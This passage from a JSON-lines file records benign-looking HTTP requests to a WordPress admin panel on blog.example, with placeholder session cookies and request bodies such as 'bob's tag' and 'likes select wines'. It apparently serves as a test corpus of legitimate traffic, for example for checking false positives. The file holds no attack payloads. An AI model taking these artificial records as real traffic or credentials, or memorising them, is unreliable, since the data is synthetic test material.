""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=media-views&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203202"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-writing.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203202"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-reading.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203203"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-discussion.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203204"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-media.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203205"], "body": ""}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203208.0107820034027099609375", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-permalink.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203206"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-privacy.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203207"], "body": ""}
{"method": "GET", "target": "/wp-admin/about.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203209"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/about-release-badge.svg?ver=7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/about.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203210"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/about-header-default.svg?ver=7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203210"], "body": ""}
{"method": "GET", "target": "/wp-admin/credits.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203210"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/about-header-credits.svg?ver=7.1", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203211"], "body": ""}
{"method": "GET", "target": "/wp-admin/freedoms.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203211"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/freedom-1.svg?ver=6.5", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/freedoms.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203212"], "body": ""}
{"method": "GET", "target": "/wp-admin/images/freedom-2.svg?ver=6.5", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/freedoms.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203212"], "body": ""}
{"method": "GET", "target": "/wp-admin/privacy.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203212"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=9&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 20", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"name\":\"bob's tag\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/categories?search=a&per_page=20&_fields=id%2Cname&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=hello&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?per_page=10&_fields=id%2Ctitle&context=edit&status=draft%2Cpublish&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-types?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/themes?status=active&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/plugins?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/settings?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?post=1&per_page=5&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/pages?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 84", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"title\":\"An about page\",\"content\":\"<p>Our story &amp; more</p>\",\"status\":\"publish\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/settings?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 52", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"title\":\"Example Blog\",\"description\":\"Bob's words\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/users/me?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 63", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"description\":\"Writer of <em>things</em>; likes select wines\"}"}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/background-updates?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "POST", "target": "/wp-cron.php", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215", "Connection: close", "Content-Length: 25", "Content-Type: application/x-www-form-urlencoded"], "body": "site-health=loopback-test"}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/loopback-requests?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
